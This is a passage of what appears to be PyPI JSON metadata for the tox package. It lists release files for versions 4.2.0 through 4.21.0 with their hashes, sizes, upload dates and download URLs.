T00:54:42","upload_time_iso_8601":"2024-06-06T00:54:42.671252Z","url":"https://files.pythonhosted.org/packages/2f/67/285c5357df0c98a3475e9f5676b012f570d4326e71ed382428bbdbb03e92/tox-4.15.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b220755c6633aff141720933cc7ae2e04fcff0465e6221164edf3b8a6b96b752","md5":"621e893ad0060f9b51d0c5c27c908010","sha256":"53a092527d65e873e39213ebd4bd027a64623320b6b0326136384213f95b7076"},"downloads":-1,"filename":"tox-4.15.1.tar.gz","has_sig":false,"md5_digest":"621e893ad0060f9b51d0c5c27c908010","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":179723,"upload_time":"2024-06-06T00:54:46","upload_time_iso_8601":"2024-06-06T00:54:46.152809Z","url":"https://files.pythonhosted.org/packages/b2/20/755c6633aff141720933cc7ae2e04fcff0465e6221164edf3b8a6b96b752/tox-4.15.1.tar.gz","yanked":false,"yanked_reason":null}],"4.16.0":[{"comment_text":"","core-metadata":{"sha256":"450df541d34091b63896b06c78a127f105be5aea3aa2696746ff11734f8318f7"},"digests":{"blake2b_256":"fce3c7cef497affffb0fefb6a2bfa6764f087ef99344ea1d20d64c9018207a34","md5":"b957fa2af3dd104431af060c0e3156d2","sha256":"61e101061b977b46cf00093d4319438055290ad0009f84497a07bf2d2d7a06d0"},"downloads":-1,"filename":"tox-4.16.0-py3-none-any.whl","has_sig":false,"md5_digest":"b957fa2af3dd104431af060c0e3156d2","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156006,"upload_time":"2024-07-03T03:29:14","upload_time_iso_8601":"2024-07-03T03:29:14.864610Z","url":"https://files.pythonhosted.org/packages/fc/e3/c7cef497affffb0fefb6a2bfa6764f087ef99344ea1d20d64c9018207a34/tox-4.16.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b77e94a8cc264b9d2674d6ce7dccaa7cebe66d0f4262d6423ab9797b071d31d5","md5":"1b58edde05e7998fd2f53fe18a5aa8e1","sha256":"43499656f9949edb681c0f907f86fbfee98677af9919d8b11ae5ad77cb800748"},"downloads":-1,"filename":"tox-4.16.0.tar.gz","has_sig":false,"md5_digest":"1b58edde05e7998fd2f53fe18a5aa8e1","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":179738,"upload_time":"2024-07-03T03:29:18","upload_time_iso_8601":"2024-07-03T03:29:18.124852Z","url":"https://files.pythonhosted.org/packages/b7/7e/94a8cc264b9d2674d6ce7dccaa7cebe66d0f4262d6423ab9797b071d31d5/tox-4.16.0.tar.gz","yanked":false,"yanked_reason":null}],"4.17.0":[{"comment_text":"","core-metadata":{"sha256":"faad42d9b404e7f1654ca0709c6242e3d7b7d072adc695bf24a4a093579878f6"},"digests":{"blake2b_256":"7e433a87fb8cc2c516b424c752ffb2177510f969b1e192a5b7a8ccc7a6fcafd6","md5":"e89dd5da7ce5dca4dbc59547656f297f","sha256":"82ef41e7e54182e2143daf0b2920d9030c2e1c4291e12091ebad66860c7be7a4"},"downloads":-1,"filename":"tox-4.17.0-py3-none-any.whl","has_sig":false,"md5_digest":"e89dd5da7ce5dca4dbc59547656f297f","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156106,"upload_time":"2024-08-05T19:48:02","upload_time_iso_8601":"2024-08-05T19:48:02.261656Z","url":"https://files.pythonhosted.org/packages/7e/43/3a87fb8cc2c516b424c752ffb2177510f969b1e192a5b7a8ccc7a6fcafd6/tox-4.17.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"9a41287d083a3b430ca9f7590f867d3899de4ed6638e6ae8006c9775d412ca24","md5":"d178febba13442ce126284e7ce5f75cf","sha256":"b1e2e1dfbfdc174d9be95ae78ec2c4d2cf4800d4c15571deddb197a2c90d2de6"},"downloads":-1,"filename":"tox-4.17.0.tar.gz","has_sig":false,"md5_digest":"d178febba13442ce126284e7ce5f75cf","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":179927,"upload_time":"2024-08-05T19:48:10","upload_time_iso_8601":"2024-08-05T19:48:10.745987Z","url":"https://files.pythonhosted.org/packages/9a/41/287d083a3b430ca9f7590f867d3899de4ed6638e6ae8006c9775d412ca24/tox-4.17.0.tar.gz","yanked":false,"yanked_reason":null}],"4.17.1":[{"comment_text":"","core-metadata":{"sha256":"e9d187a9d067413f29c042b56638288f183918b13d87d741bbf27c9aec704cf6"},"digests":{"blake2b_256":"c658ca62a2e4b93e6b647d095a81e8fd1e51ca74ee5298afe98b788f49748e46","md5":"d4409ff72a749c91a2a0d8a47d0bfb75","sha256":"2974597c0353577126ab014f52d1a399fb761049e165ff34427f84e8cfe6c990"},"downloads":-1,"filename":"tox-4.17.1-py3-none-any.whl","has_sig":false,"md5_digest":"d4409ff72a749c91a2a0d8a47d0bfb75","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156177,"upload_time":"2024-08-07T17:21:28","upload_time_iso_8601":"2024-08-07T17:21:28.932246Z","url":"https://files.pythonhosted.org/packages/c6/58/ca62a2e4b93e6b647d095a81e8fd1e51ca74ee5298afe98b788f49748e46/tox-4.17.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5528a426845ea686fdb2d9f981293127821abbbc9cdd94bb301b4441912e64b3","md5":"85d50d8ab4e97dbc2cecf7d7c514afc3","sha256":"2c41565a571e34480bd401d668a4899806169a4633e972ac296c54406d2ded8a"},"downloads":-1,"filename":"tox-4.17.1.tar.gz","has_sig":false,"md5_digest":"85d50d8ab4e97dbc2cecf7d7c514afc3","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":180242,"upload_time":"2024-08-07T17:21:32","upload_time_iso_8601":"2024-08-07T17:21:32.803048Z","url":"https://files.pythonhosted.org/packages/55/28/a426845ea686fdb2d9f981293127821abbbc9cdd94bb301b4441912e64b3/tox-4.17.1.tar.gz","yanked":false,"yanked_reason":null}],"4.18.0":[{"comment_text":"","core-metadata":{"sha256":"456c7dabf89f88c3fc6f841c32148b7beae9bfeb844574efa8111f6cc0bbccf5"},"digests":{"blake2b_256":"a24037c670a35bea970cb4e8c19a756ec75a3362b792041003aa075a29123ccc","md5":"d5cf8440b159507c81d6271e44c5528a","sha256":"0a457400cf70615dc0627eb70d293e80cd95d8ce174bb40ac011011f0c03a249"},"downloads":-1,"filename":"tox-4.18.0-py3-none-any.whl","has_sig":false,"md5_digest":"d5cf8440b159507c81d6271e44c5528a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156735,"upload_time":"2024-08-13T16:46:13","upload_time_iso_8601":"2024-08-13T16:46:13.026270Z","url":"https://files.pythonhosted.org/packages/a2/40/37c670a35bea970cb4e8c19a756ec75a3362b792041003aa075a29123ccc/tox-4.18.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"38d6e3713386deb7df92ef383693544eccb18260ce4325fabcf5aac6594c1d95","md5":"f33e3b32a33dd6bb372de072c0b7f80d","sha256":"5dfa1cab9f146becd6e351333a82f9e0ade374451630ba65ee54584624c27b58"},"downloads":-1,"filename":"tox-4.18.0.tar.gz","has_sig":false,"md5_digest":"f33e3b32a33dd6bb372de072c0b7f80d","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":180782,"upload_time":"2024-08-13T16:46:14","upload_time_iso_8601":"2024-08-13T16:46:14.737094Z","url":"https://files.pythonhosted.org/packages/38/d6/e3713386deb7df92ef383693544eccb18260ce4325fabcf5aac6594c1d95/tox-4.18.0.tar.gz","yanked":false,"yanked_reason":null}],"4.18.1":[{"comment_text":"","core-metadata":{"sha256":"c134f7560fccf8c5797d747bb96d9ae8ee1c2d180e74001690fedc0902d4ca13"},"digests":{"blake2b_256":"fb59a2ae6f32771cd3de2000618d77b8f77502da822a141e2c797fa4af38a701","md5":"e5d53aed634c8a7eb1191ca57f80eb4d","sha256":"35d472032ee1f73fe20c3e0e73d7073a4e85075c86ff02c576f9fc7c6a15a578"},"downloads":-1,"filename":"tox-4.18.1-py3-none-any.whl","has_sig":false,"md5_digest":"e5d53aed634c8a7eb1191ca57f80eb4d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156796,"upload_time":"2024-09-07T16:26:15","upload_time_iso_8601":"2024-09-07T16:26:15.003397Z","url":"https://files.pythonhosted.org/packages/fb/59/a2ae6f32771cd3de2000618d77b8f77502da822a141e2c797fa4af38a701/tox-4.18.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e1cc272e73f90be0f6df89efaf82e5d804b90b4e39ceb0ef1621486bb0e921e8","md5":"98f11789296f6cb9772b82786386f579","sha256":"3c0c96bc3a568a5c7e66387a4cfcf8c875b52e09f4d47c9f7a277ec82f1a0b11"},"downloads":-1,"filename":"tox-4.18.1.tar.gz","has_sig":false,"md5_digest":"98f11789296f6cb9772b82786386f579","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":181159,"upload_time":"2024-09-07T16:26:16","upload_time_iso_8601":"2024-09-07T16:26:16.681642Z","url":"https://files.pythonhosted.org/packages/e1/cc/272e73f90be0f6df89efaf82e5d804b90b4e39ceb0ef1621486bb0e921e8/tox-4.18.1.tar.gz","yanked":false,"yanked_reason":null}],"4.19.0":[{"comment_text":"","core-metadata":{"sha256":"af6790a25e7819da4f6e81d9c1e8efbc7808564b87508e344074674f23a6fc75"},"digests":{"blake2b_256":"5d8d050931ea0f53c8f0e36eebcb59aa2d84fb79f290cd5ad2c671fd89a92297","md5":"57bef92ea42877c7db7503b96f4b6b5e","sha256":"6e20a520db7710f6980b8ec96bde189d6b8cf41b327ec703b03e1a2a447b1aaf"},"downloads":-1,"filename":"tox-4.19.0-py3-none-any.whl","has_sig":false,"md5_digest":"57bef92ea42877c7db7503b96f4b6b5e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":156853,"upload_time":"2024-09-17T18:44:51","upload_time_iso_8601":"2024-09-17T18:44:51.629620Z","url":"https://files.pythonhosted.org/packages/5d/8d/050931ea0f53c8f0e36eebcb59aa2d84fb79f290cd5ad2c671fd89a92297/tox-4.19.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d8f5bcb4b151c374d7d8c04b24084374f2f6dace0bc988e6a87e3271227e54ec","md5":"dd5ef1a82b335fff5f26903391b9c836","sha256":"66177d887f9d7ef8eaa9b58b187f7b865fa4c58650086c01336e82c9831e1867"},"downloads":-1,"filename":"tox-4.19.0.tar.gz","has_sig":false,"md5_digest":"dd5ef1a82b335fff5f26903391b9c836","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":181219,"upload_time":"2024-09-17T18:44:53","upload_time_iso_8601":"2024-09-17T18:44:53.387033Z","url":"https://files.pythonhosted.org/packages/d8/f5/bcb4b151c374d7d8c04b24084374f2f6dace0bc988e6a87e3271227e54ec/tox-4.19.0.tar.gz","yanked":false,"yanked_reason":null}],"4.2.0":[{"comment_text":"","core-metadata":{"sha256":"a7c159ab3a8a85db60960d4427cfe6fdc48f956b1bfd0d7bdbc4c626a4f2f8a9"},"digests":{"blake2b_256":"176f86fdd0a22b956d868d1ed3926485a7a6dbe3ea97cd1a0d0a37d7b42adb7c","md5":"a9af9737e6723abf890df35e6ef1b1b2","sha256":"20cafc6c2740671513bd52c0f7912c634a3428237ff70950f41e384335173a42"},"downloads":-1,"filename":"tox-4.2.0-py3-none-any.whl","has_sig":false,"md5_digest":"a9af9737e6723abf890df35e6ef1b1b2","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145298,"upload_time":"2023-01-04T02:17:20","upload_time_iso_8601":"2023-01-04T02:17:20.419395Z","url":"https://files.pythonhosted.org/packages/17/6f/86fdd0a22b956d868d1ed3926485a7a6dbe3ea97cd1a0d0a37d7b42adb7c/tox-4.2.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"758d27f667f02c257a11389d80068832c1efc3ce2a3385a36a798f5c8614fbd8","md5":"3835c21752457024f298b3a4803a8b19","sha256":"ac1d997a73ae6a17e7dfe931ec2b5f534677535c857a7e821987083e122a4d33"},"downloads":-1,"filename":"tox-4.2.0.tar.gz","has_sig":false,"md5_digest":"3835c21752457024f298b3a4803a8b19","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":159334,"upload_time":"2023-01-04T02:17:22","upload_time_iso_8601":"2023-01-04T02:17:22.159918Z","url":"https://files.pythonhosted.org/packages/75/8d/27f667f02c257a11389d80068832c1efc3ce2a3385a36a798f5c8614fbd8/tox-4.2.0.tar.gz","yanked":false,"yanked_reason":null}],"4.2.1":[{"comment_text":"","core-metadata":{"sha256":"b5f139bbac056afc6861017377aad782897ea447c385883d111b20a36b0d7b91"},"digests":{"blake2b_256":"7a44a5017c8f16d3370ad0269d2c463c11619bf3ac5bc2b0a620914e26a850a4","md5":"f1454528f8d1f77b275e9de72a4b43be","sha256":"10fd8f1e4e2759204ea9fe39afa99bde148168d6b6ca6b8bc05a6e8f62e0fb0f"},"downloads":-1,"filename":"tox-4.2.1-py3-none-any.whl","has_sig":false,"md5_digest":"f1454528f8d1f77b275e9de72a4b43be","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145410,"upload_time":"2023-01-04T05:29:25","upload_time_iso_8601":"2023-01-04T05:29:25.938935Z","url":"https://files.pythonhosted.org/packages/7a/44/a5017c8f16d3370ad0269d2c463c11619bf3ac5bc2b0a620914e26a850a4/tox-4.2.1-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"31767f922f131b617183969c02a3b661232d7d1ae2b1e70ed22baea31d68884f","md5":"53d7ed03aae0c82d4c4dfe69a23c562a","sha256":"cd4bea2b2cfa2a3f60c3dfae843840297559e8a341206638a96324a2ff8b8a60"},"downloads":-1,"filename":"tox-4.2.1.tar.gz","has_sig":false,"md5_digest":"53d7ed03aae0c82d4c4dfe69a23c562a","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":159514,"upload_time":"2023-01-04T05:29:27","upload_time_iso_8601":"2023-01-04T05:29:27.426749Z","url":"https://files.pythonhosted.org/packages/31/76/7f922f131b617183969c02a3b661232d7d1ae2b1e70ed22baea31d68884f/tox-4.2.1.tar.gz","yanked":false,"yanked_reason":null}],"4.2.2":[{"comment_text":"","core-metadata":{"sha256":"ad9e7aeeadcce0540d833a4ac7e281cf204f5d5de0e794bb876457d08da22866"},"digests":{"blake2b_256":"921c64f192d72d27d079868af6da7753eac1562bc741c00c6cee064ec13b3061","md5":"07648211b1b2457dcb2cef0b941a549e","sha256":"b28110acfa27c0230f15f0a90d5c5e50c94ad3cd68dbbf608a33c75c2a76867b"},"downloads":-1,"filename":"tox-4.2.2-py3-none-any.whl","has_sig":false,"md5_digest":"07648211b1b2457dcb2cef0b941a549e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145526,"upload_time":"2023-01-04T16:48:16","upload_time_iso_8601":"2023-01-04T16:48:16.537720Z","url":"https://files.pythonhosted.org/packages/92/1c/64f192d72d27d079868af6da7753eac1562bc741c00c6cee064ec13b3061/tox-4.2.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d677c6cbc0cb4130683a2b58bddae3b6690f3bb9bdbc5d03ae37d18311fdc132","md5":"801ea8f589598d9bb084a8ef512ed4ff","sha256":"bc15dfd89b170620a2f5e2032a2dda1ec8f864adc46b70a4c18b7e5d3c3ff913"},"downloads":-1,"filename":"tox-4.2.2.tar.gz","has_sig":false,"md5_digest":"801ea8f589598d9bb084a8ef512ed4ff","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":159685,"upload_time":"2023-01-04T16:48:18","upload_time_iso_8601":"2023-01-04T16:48:18.365918Z","url":"https://files.pythonhosted.org/packages/d6/77/c6cbc0cb4130683a2b58bddae3b6690f3bb9bdbc5d03ae37d18311fdc132/tox-4.2.2.tar.gz","yanked":false,"yanked_reason":null}],"4.2.3":[{"comment_text":"","core-metadata":{"sha256":"52d76a9769dd8bc7c0b36b25634b993532b97d34afc0e2e2cc49a4c30289a58e"},"digests":{"blake2b_256":"e5c9ddefbe5e257a4b60a444103d3e47df08fb2bf6abefa86b3563f1882b806f","md5":"10767cf9a9ed3ee96a6c694e7deba0f3","sha256":"4b31cdf6ec8b6ef12d2712aad0244c53c77af52964b94b2d6fcb058afeae8baf"},"downloads":-1,"filename":"tox-4.2.3-py3-none-any.whl","has_sig":false,"md5_digest":"10767cf9a9ed3ee96a6c694e7deba0f3","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145601,"upload_time":"2023-01-05T00:30:45","upload_time_iso_8601":"2023-01-05T00:30:45.558747Z","url":"https://files.pythonhosted.org/packages/e5/c9/ddefbe5e257a4b60a444103d3e47df08fb2bf6abefa86b3563f1882b806f/tox-4.2.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4910786f3f7166d155fdf4b37a8b8d220989090b18d30d3d2916d56ee61e32ed","md5":"0741184d5f536b67fd97ff269a782d10","sha256":"4647fb4ffd683686d8b1cb4836fadda5858abe38b706ed1818d3de5ec95e2b0b"},"downloads":-1,"filename":"tox-4.2.3.tar.gz","has_sig":false,"md5_digest":"0741184d5f536b67fd97ff269a782d10","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":159794,"upload_time":"2023-01-05T00:30:47","upload_time_iso_8601":"2023-01-05T00:30:47.280681Z","url":"https://files.pythonhosted.org/packages/49/10/786f3f7166d155fdf4b37a8b8d220989090b18d30d3d2916d56ee61e32ed/tox-4.2.3.tar.gz","yanked":false,"yanked_reason":null}],"4.2.4":[{"comment_text":"","core-metadata":{"sha256":"a2757641df1435427d93a0611eaf555016499208b839bfbaee03327e3ca2ba78"},"digests":{"blake2b_256":"05f5d56b2ffc781a66d4da8d001d791787aa98515eb6102d7120948bff0ed05c","md5":"4bf563b6945bd47ff9e082a53ebdf0fc","sha256":"f51407aaff87f6f5361ae2733cffd371940ed001792b60ea50d955c266b3b22b"},"downloads":-1,"filename":"tox-4.2.4-py3-none-any.whl","has_sig":false,"md5_digest":"4bf563b6945bd47ff9e082a53ebdf0fc","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145604,"upload_time":"2023-01-05T18:45:00","upload_time_iso_8601":"2023-01-05T18:45:00.335384Z","url":"https://files.pythonhosted.org/packages/05/f5/d56b2ffc781a66d4da8d001d791787aa98515eb6102d7120948bff0ed05c/tox-4.2.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"bc72e799ba961ce78daefe170e2c5da87813bc9084e25151d81c577fbf3fe2be","md5":"dc5dafefaa27efd9dda2360c78301661","sha256":"05b1cbf94e02eff40818860b352b4a452d7369558f3bb05809043c6b4c36e5f4"},"downloads":-1,"filename":"tox-4.2.4.tar.gz","has_sig":false,"md5_digest":"dc5dafefaa27efd9dda2360c78301661","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":159830,"upload_time":"2023-01-05T18:45:02","upload_time_iso_8601":"2023-01-05T18:45:02.434965Z","url":"https://files.pythonhosted.org/packages/bc/72/e799ba961ce78daefe170e2c5da87813bc9084e25151d81c577fbf3fe2be/tox-4.2.4.tar.gz","yanked":false,"yanked_reason":null}],"4.2.5":[{"comment_text":"","core-metadata":{"sha256":"aca9020c06588a0dfab62ce9ec77f70d7b54ccae3b2befacb67496e11cc67793"},"digests":{"blake2b_256":"d26945a96431a3f5a35ec864c8b7ef5b47381f00e91c8db836d665c1d6e2d750","md5":"01967cbb2916149690f4db98242db267","sha256":"a256447ec85a058004231f19ca3df66b3be591a7561c8f8389d1d60b5b629989"},"downloads":-1,"filename":"tox-4.2.5-py3-none-any.whl","has_sig":false,"md5_digest":"01967cbb2916149690f4db98242db267","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145636,"upload_time":"2023-01-06T15:57:20","upload_time_iso_8601":"2023-01-06T15:57:20.734092Z","url":"https://files.pythonhosted.org/packages/d2/69/45a96431a3f5a35ec864c8b7ef5b47381f00e91c8db836d665c1d6e2d750/tox-4.2.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"413cc532107a3c63bc9058b357499f21c285e5917d1c1528b705cdc39b84df46","md5":"03db9408fdef04539d4c65281d59e252","sha256":"dba263a7da1151e3f7c0816bf9efcbad127ee7ec981e5f03b9666b47619c735e"},"downloads":-1,"filename":"tox-4.2.5.tar.gz","has_sig":false,"md5_digest":"03db9408fdef04539d4c65281d59e252","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":160002,"upload_time":"2023-01-06T15:57:22","upload_time_iso_8601":"2023-01-06T15:57:22.594293Z","url":"https://files.pythonhosted.org/packages/41/3c/c532107a3c63bc9058b357499f21c285e5917d1c1528b705cdc39b84df46/tox-4.2.5.tar.gz","yanked":false,"yanked_reason":null}],"4.2.6":[{"comment_text":"","core-metadata":{"sha256":"e66befb5a1e94ba2fd32d95d7d92c277c5c85ba4502534627a2df00a22c8fb76"},"digests":{"blake2b_256":"6afd8e1f5e6f251120f643e7e2773d9451b7669e6dfdd3c09fc6d9185b423fc9","md5":"c011a6dbb8553c336f19b2e252bc074d","sha256":"fb79b3e4b788491949576a9c80c2d56419eac994567c3591e24bb2788b5901d0"},"downloads":-1,"filename":"tox-4.2.6-py3-none-any.whl","has_sig":false,"md5_digest":"c011a6dbb8553c336f19b2e252bc074d","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":145854,"upload_time":"2023-01-06T23:49:10","upload_time_iso_8601":"2023-01-06T23:49:10.373130Z","url":"https://files.pythonhosted.org/packages/6a/fd/8e1f5e6f251120f643e7e2773d9451b7669e6dfdd3c09fc6d9185b423fc9/tox-4.2.6-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"70c474a995db95714ead327f30933290fd04a6be9489fb0adbcef8c6f816a3d4","md5":"89b2948eab6d2c7390463c7fbed21310","sha256":"ecf224a4f3a318adcdd71aa8fe15ffd31f14afd6a9845a43ffd63950a7325538"},"downloads":-1,"filename":"tox-4.2.6.tar.gz","has_sig":false,"md5_digest":"89b2948eab6d2c7390463c7fbed21310","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":160347,"upload_time":"2023-01-06T23:49:11","upload_time_iso_8601":"2023-01-06T23:49:11.775457Z","url":"https://files.pythonhosted.org/packages/70/c4/74a995db95714ead327f30933290fd04a6be9489fb0adbcef8c6f816a3d4/tox-4.2.6.tar.gz","yanked":false,"yanked_reason":null}],"4.2.7":[{"comment_text":"","core-metadata":{"sha256":"985e1697d7b7b877b8c87d1c0e096290a308d2707963d6eb538457baa980d9fd"},"digests":{"blake2b_256":"5c212aef9255ca3cd46a3483eb7f87d2948290ca4f2889e66f64be558bb6f3fa","md5":"95f035a024d0808ed255dfafeb2dbfae","sha256":"853221127f0f9e7f612058fcb8b939081dbf4b2ef506df6c4fbeaaac4132a6db"},"downloads":-1,"filename":"tox-4.2.7-py3-none-any.whl","has_sig":false,"md5_digest":"95f035a024d0808ed255dfafeb2dbfae","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":146020,"upload_time":"2023-01-11T16:15:31","upload_time_iso_8601":"2023-01-11T16:15:31.513180Z","url":"https://files.pythonhosted.org/packages/5c/21/2aef9255ca3cd46a3483eb7f87d2948290ca4f2889e66f64be558bb6f3fa/tox-4.2.7-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"dd6793a865a802a45d2af96b355476873734737b6379b33b885c6e5423731d74","md5":"815b4f83df521e68e56c4de4f890be58","sha256":"bce8f367720dbb29eb6dd1f1b411ffb188384e258e3e4db0820d0f0a0ba4ff10"},"downloads":-1,"filename":"tox-4.2.7.tar.gz","has_sig":false,"md5_digest":"815b4f83df521e68e56c4de4f890be58","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":160726,"upload_time":"2023-01-11T16:15:33","upload_time_iso_8601":"2023-01-11T16:15:33.166642Z","url":"https://files.pythonhosted.org/packages/dd/67/93a865a802a45d2af96b355476873734737b6379b33b885c6e5423731d74/tox-4.2.7.tar.gz","yanked":false,"yanked_reason":null}],"4.2.8":[{"comment_text":"","core-metadata":{"sha256":"4e7f731f479490b61c8b436e820047c73f6f809838d20264f3538bcaafc68171"},"digests":{"blake2b_256":"b0ee157f39dbad632f315a4080eb2819c3f938e349036c4d34c60813cc7191d9","md5":"b8b2a70dec2d2c2c3f8aeb09b33bf227","sha256":"e9d5006a533d280e2ca26e3ca61052ffa55a65b683486f92d12563a14a9b7a4f"},"downloads":-1,"filename":"tox-4.2.8-py3-none-any.whl","has_sig":false,"md5_digest":"b8b2a70dec2d2c2c3f8aeb09b33bf227","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":146107,"upload_time":"2023-01-12T02:46:23","upload_time_iso_8601":"2023-01-12T02:46:23.538603Z","url":"https://files.pythonhosted.org/packages/b0/ee/157f39dbad632f315a4080eb2819c3f938e349036c4d34c60813cc7191d9/tox-4.2.8-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"495854500bcc3118b538ff07a333347dabb947e1fe5b28564620ffe29b417a9e","md5":"cd3e1faf1f436d34f6206a104337a41b","sha256":"7c31940d755355210151e8bef23feab3d714a8a4795e513c454ff0baccd995b1"},"downloads":-1,"filename":"tox-4.2.8.tar.gz","has_sig":false,"md5_digest":"cd3e1faf1f436d34f6206a104337a41b","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":160784,"upload_time":"2023-01-12T02:46:25","upload_time_iso_8601":"2023-01-12T02:46:25.390097Z","url":"https://files.pythonhosted.org/packages/49/58/54500bcc3118b538ff07a333347dabb947e1fe5b28564620ffe29b417a9e/tox-4.2.8.tar.gz","yanked":false,"yanked_reason":null}],"4.20.0":[{"comment_text":"","core-metadata":{"sha256":"263e1bda026b14c1ba335952b8122c52223e4d62784785eed48fe50e8c839e1f"},"digests":{"blake2b_256":"cfee6f9bf37f197578f98fb450f1aeebf4570f85b24b00d846bbde6e11489bd1","md5":"dfe9842663ca2fec1ad23b83c903858e","sha256":"21a8005e3d3fe5658a8e36b8ca3ed13a4230429063c5cc2a2fdac6ee5aa0de34"},"downloads":-1,"filename":"tox-4.20.0-py3-none-any.whl","has_sig":false,"md5_digest":"dfe9842663ca2fec1ad23b83c903858e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":157087,"upload_time":"2024-09-19T03:46:12","upload_time_iso_8601":"2024-09-19T03:46:12.754641Z","url":"https://files.pythonhosted.org/packages/cf/ee/6f9bf37f197578f98fb450f1aeebf4570f85b24b00d846bbde6e11489bd1/tox-4.20.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"044a55f9dba99aad874ae54a7fb2310c940e978fd0155eb3576ddebec000fca7","md5":"e6f8d085b831e8ca200eb0df4003823e","sha256":"5b78a49b6eaaeab3ae4186415e7c97d524f762ae967c63562687c3e5f0ec23d5"},"downloads":-1,"filename":"tox-4.20.0.tar.gz","has_sig":false,"md5_digest":"e6f8d085b831e8ca200eb0df4003823e","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":181364,"upload_time":"2024-09-19T03:46:15","upload_time_iso_8601":"2024-09-19T03:46:15.252447Z","url":"https://files.pythonhosted.org/packages/04/4a/55f9dba99aad874ae54a7fb2310c940e978fd0155eb3576ddebec000fca7/tox-4.20.0.tar.gz","yanked":false,"yanked_reason":null}],"4.21.0":[{"comment_text":"","core-metadata":{"sha256":"383ce76d776a2ae74efb6647f956e364016997ca89407d8e5d9d4d481e49c61a"},"digests":{"blake2b_256":"ff8ae353b35c80323a84c432f1611a8bb965e956119e2b0917ab8b4d28038172","md5":"faee3a621c3a2a2bd96f62108f3c8a1a","sha256":"693ac51378255d34ad7aab6dd2ce9ab6a1cf1924eb930183fde850ad503b681d"},"downloads":-1,"filename":"tox-4.21.0-py3-none-any.whl","has_sig":false,"md5_digest":"faee3a621c3a2a2bd96f62108f3c8a1a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.8","size":165223,"upload_time":"2024-10-01T03:42:52","upload_time_iso_8601":"2024-10-01T03:42:52.925348Z","url":"https://files.pythonhosted.org/packages/ff/8a/e353b35c80323a84c432f1611a8bb965e956119e2b0917ab8b4d28038172/tox-4.21.0-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"3bf06865d4131e78583fe5956655ab6fd85491aa80d3a7314fdbb8d87f1c7b25","md5":"db53f8fbc2fb1cf3c5f7d81270ccfdd1","sha256":"e64dd9847ff3a7ec90368be412d7efe61a39caf043222ffbe9ad638ea435f6f6"},"downloads":-1,"filename":"tox-4.21.0.tar.gz","has_sig":false,"md5_digest":"db53f8fbc2fb1cf3c5f7d81270ccfdd1","packagetype":"sdist","python_version":"source","requires_python":">=3.8","size":187638,"upload_time":"2024-10-01T03:42:55","upload_time_iso_8601":"2024-10-01T03:42:55.178668Z","url":"https://files.pythonhosted.org/packages/3b/f0/6865d4131